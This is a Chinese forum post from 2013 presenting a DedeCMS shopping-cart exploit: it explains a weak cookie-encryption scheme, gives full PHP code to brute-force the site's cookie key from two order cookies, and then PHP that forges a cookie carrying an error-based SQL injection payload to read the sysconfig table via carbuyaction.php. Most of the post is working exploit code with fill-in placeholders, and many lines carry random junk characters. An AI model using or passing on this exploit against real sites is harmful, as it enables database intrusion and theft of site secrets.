找回密码
 立即注册
查看: 2597|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
$ }' p* S2 x1 M! O( ~/ c5 {- f在 include/shopcar.class.php中
. W1 K1 u. e! v, m; g2 B! h先看一下这个shopcar类是如何生成cookie的: C) I) ?# L/ M% ]6 f- h4 w
239      function saveCookie($key,$value)0 y5 M. D8 J+ b+ e) D" h
240      {* u& |  z" c* e# i
241          if(is_array($value))
+ `9 L$ E% ?) m- e. d  S/ G8 ?5 g242          {
% H- G% z/ W! o$ E243              $value = $this->enCrypt($this->enCode($value));
& O5 \  w* y+ n2 w; g244          }" @9 C7 A* `/ Y& t1 Q0 {
245          else
5 d- S! Y# j2 S. q. y246          {" G- C% o6 T& [# f$ t6 T
247              $value = $this->enCrypt($value);
/ E' B0 ^3 @6 ]$ G248          }
6 E5 s2 V$ ^  ^8 J249          setcookie($key,$value,time()+36000,’/');
% J! {( j! p( V4 a" p- z250      }' ?' P" }  c# K0 B+ p
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
0 q; W4 [  q' e: i) P+ {% T2 Y186      function enCrypt($txt)
; G/ e# y$ n/ I" F" Z- R5 u, Q187      {& c" _( Q6 l$ m/ j
188          srand((double)microtime() * 1000000);4 ^6 w2 N3 @& \3 h
189          $encrypt_key = md5(rand(0, 32000));
9 b# B6 p/ J7 C- `) V1 b190          $ctr = 0;* m* ?' M( D5 z; z; ]/ i
191          $tmp = ”;
: k. g6 C  |7 {192          for($i = 0; $i < strlen($txt); $i++)
. [9 i! D3 n3 Q193          {
% t& x+ e) a6 {/ q2 J. m194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 @3 h8 N2 e6 O; Z; j1 R195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
( g  ~7 L* r! k0 w, V/ U1 v196          }" P, ~# t: h" n! `2 P1 z
197          return base64_encode($this->setKey($tmp));5 L3 o& }/ z0 l
198      }
/ G" [5 a& w( c3 _* E213      function setKey($txt)
" ^$ Y/ P; a& v4 N# n6 [/ m214      {
; G4 c# r; l; t- J+ u, R: f215          global $cfg_cookie_encode;% G9 T& X% \: ~" ?" @
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
  o# q) l! c/ N" t8 b7 N! O/ b217          $ctr = 0;/ v, c$ k, _. i5 [6 G+ s5 u
218          $tmp = ”;1 h2 Z% m; P0 Z' T' ]
219          for($i = 0; $i < strlen($txt); $i++)4 s4 `0 f$ P1 b0 J6 R
220          {( u. k8 L6 ^6 N& d" x. M* P
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;" [* k* R0 S) G$ m) g
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
6 E6 n% h! U7 U: f2 e$ B8 o$ W223          }; k+ E. @% n# x" }0 Y# ?
224          return $tmp;
. ?: R# G: r/ T' m, A( {2 H* ]: v7 g225      }' B+ M4 q0 a0 U. S. E. g
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的! c3 P6 y7 Y4 m. U
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
2 N7 O4 x) d! G% h& j/ S具体代码如下:& h, Q8 F# l: b+ p( C
<?php
- p% }, h+ y$ c, R5 b$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
+ d) K$ R6 c  e5 C& d2 |; P& |$ k$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here1 b' k  J; y* ?' n  @* M
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
! R& A1 j9 l/ M; zfunction reStrCode($code,$string)) A8 ]) U; l2 X2 H0 \7 Y
{7 ]6 `: D5 s4 q4 [, w, h$ J7 t# O
$code = base64_decode($code);# O- h. \% A8 |1 c( H7 ~; u4 ]- G
$key = “”;) W  t! y7 r/ o- V0 Y3 S
for($i=0 ; $i<32 ; $i++); v0 F- \( e* `6 E6 x
{3 I0 E/ H# w, u1 _+ }& H
$key .= $string[$i] ^ $code[$i];
  e4 {. N/ z3 m' g% E( `8 B}2 _3 b- C( [2 {- k$ F) n# r
return $key;  P' @3 u8 f2 o+ R7 D7 B
}& @0 G) A; R' Y
function getKeys($cookie,$plantxt)- h6 D  i7 @3 B4 K# t
{9 L3 x& E6 k7 Q9 j
$tmp = $cookie;
3 |. i1 s6 l) h2 Z; L5 G- ^$results = array();
  |, q: {" T2 [/ Kfor($j=0 ; $j < 32000; $j++)/ A( b6 _4 L7 V- R, i/ x( `
{/ ]6 j: Q4 P5 [% k$ z# L" a
* o  d: }5 C$ g# @, g) ~
$txt = $plantxt;  `3 K% y7 d$ e3 F+ f
$ctr = 0;
2 N1 @! Z/ U2 U$tmp = ”;
$ u: `2 w/ l/ Y  R2 D8 H8 L$encrypt_key = md5($j);
. d: P+ K6 M8 n2 T3 ]2 Ffor($i =0; $i < strlen($txt); $i ++)0 R& l" G' ~) w, [" ^0 {
{
4 W5 U7 j* v. g7 ^: L7 S$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
* e0 h" Y$ p( e0 Y+ S7 `. q) a1 p0 {4 m$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
' E) Y; m0 N9 {1 e: z) n}" ^5 R- w/ D2 ?/ M+ o7 a7 f
$string = $tmp;
/ K' ?$ i. U: |0 b) }' q2 w$code = $cookie;1 l) X% ~, O& @. G* J
$result = reStrCode($code,$string);: A$ D7 L! W; P9 F9 I) M8 S
if(eregi(‘^[a-z0-9]+$’,$result))
& U! B; \$ J( ]* @% ]. A: j5 T+ ?{
. i2 X0 \9 h, M: h( ^echo $result.”\n”;
7 y  C# M2 E2 m) g+ O$ \8 q! \, S2 d$results[] = $result;* Z1 W3 I+ A- o$ d5 k( d% S8 l$ R
}
2 w& B/ o4 B4 ]1 }}; C% s! P6 O3 M
return $results;
; N" A( f/ J! T8 ], V* W) P}& o, n) }+ u" H& ]
$results1 = getKeys($cookie1,$plantxt);; `4 X6 B2 D* h6 k
$results2 = getKeys($cookie2,$plantxt);: y- D. c; [  Y3 B- S# U
print “\n——————–real key————————–\n”;
7 Q4 z: y! }) z0 @foreach($results1 as $test1); N! W/ I4 L3 m( ?
{7 u5 x+ q) o0 g: g
foreach($results2 as $test2)
5 E4 ]7 {4 M+ h2 Z3 S{
; ?& N5 E* `1 l$ e- B& Fif($test1 == $test2). m3 q$ A+ J7 e4 ]; U
{! [+ _+ [& ^. S; I; M
echo $test1.”\n”;3 ^) @5 q& R0 N) l5 d7 J4 g+ x
}
( f& z6 I3 l' k  a; j8 o$ h}
, o+ V% Q$ O7 D; N9 E}8 K2 ]: E( F" @5 e" u8 y
?>; Q# P( V( L6 [5 |9 z8 z) z6 H
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
/ }" Z- N8 ~4 J" C5 nplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
/ J( |' h3 H# {* L然后推算出md5(strtolower($cfg_cookie_encode))
6 ^9 ?$ n8 M# F# H1 _! t; H得到这个key之后,我们就可以构造任意购物车的cookie
, Z* U2 _! Q! e, r4 A接着看
! e: ~+ J& u# ~: ]20  class MemberShops
8 D( Z7 U0 B9 x) ?9 y7 \21  {8 P# B& k5 T; e' J( p
22      var $OrdersId;
9 C& U: `& C8 d2 ]23      var $productsId;; {" o5 E8 V" J
24$ ~2 d" G4 X6 x8 b5 b' d
25      function __construct()
. ^: R7 m* r( E# W, v4 V' [26      {# E8 B8 N+ ]# @$ w0 H
27          $this->OrdersId = $this->getCookie(“OrdersId”);/ F5 R9 b# I8 a; e# S0 a, Z
28          if(empty($this->OrdersId))$ b: S! [9 y" f
29          {5 |" I. A( d# w/ s
30              $this->OrdersId = $this->MakeOrders();
2 `' A' ?  e0 s3 U6 Q: v31          }
1 g: S' P$ X. v5 o2 t$ ~5 r: y32      }+ y8 {+ W2 y1 _. s  k- G
发现OrderId是从cookie里面获取的  n( ^" m1 ?# e
然后9 u( N$ |6 z2 \* u( W- S
/plus/carbuyaction.php中的! v+ y! u" }' O8 ^, G1 P
29      $cart    = new MemberShops();* r7 q: ~2 b6 x, N4 A$ [& R4 s
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
& i0 O% D- D  K  O; Y( x* }: X, I……
+ t' D- K- a* m0 y  N2 n; y7 K$ K173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);! v; H' G1 W5 G. N8 _
接着我们就可以注入了9 c  q1 P& Y' ], @+ K1 ~
通过利用下面代码生成cookie:
. l8 L8 Z: Z6 z9 }) o+ K- s: y<?php
0 q: @. X3 q0 H) o3 S4 `& Y' C$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
  ~  U$ s% _: b4 ]& I$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here  `- F3 o9 X+ E& S
function setKey($txt)
$ r! |  `6 S1 c/ P$ l& o* G6 N{
8 ~5 S7 l0 y# S: ]# \9 `+ [% @global $encrypt_key;" ~" H" }; y0 D- t; r2 q0 `
$ctr = 0;- _* ]6 y6 [# o3 ?8 A& N2 w
$tmp = ”;
6 c8 J! g' \- e" Mfor($i = 0; $i < strlen($txt); $i++)( i+ [/ T2 L# z" Q2 f
{, k, B$ k3 _1 g; F$ N9 c4 p
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 S- b9 Y, ~4 T$ n$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];8 g+ c% e9 H- p# C! K9 r
}. P; c- @6 n9 l7 g  u3 u  c& ?
return $tmp;
; Q- M" J+ T  A" E}6 Q& Y  [' r* a, j! t0 B& x: K4 e
function enCrypt($txt)! ?4 T/ X, m/ `6 u
{6 e: w  d% |  y' `
srand((double)microtime() * 1000000);
- D* z) M1 \9 ]6 z$encrypt_key = md5(rand(0, 32000));0 w) c5 J2 y1 n% l4 J7 }, y0 s
$ctr = 0;  Y3 [  O4 I  W4 \! n. N
$tmp = ”;
9 f) z2 ~, h; e5 o! nfor($i = 0; $i < strlen($txt); $i++)
7 F% l" J/ @. X$ D2 z; U4 I1 T{
: p# d1 r  n0 [$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;/ V# z& \' \" F& `
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- U1 U' z8 J/ k# p% [1 q2 B}
- y# @2 `/ M! Y' treturn base64_encode(setKey($tmp));
4 y$ u  Z3 P1 h& T4 `}
- B: i& V- t5 O8 |) y& }for($dest =0;$dest = enCrypt($txt);)* \  }1 M1 b  p, ?" g  Y
{& s4 x$ u- S) ~$ g( M; w1 V& }
if(!strpos($dest,’+'))# u0 w+ l( k4 J
{
4 a! B& ?3 H8 w/ x" ~  M1 tbreak;$ _& d0 f' M2 S
}: `. o3 {! Z  G- R$ S
}5 p8 z5 ^; T: P* Q; I& e
echo $dest.”\n”;! s1 ~/ g7 N4 D& S) C9 ~
?>
: d! h! r, S; x2 I; [2 y9 s- n9 C/ ?3 {9 _2 u. b+ ~- t4 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表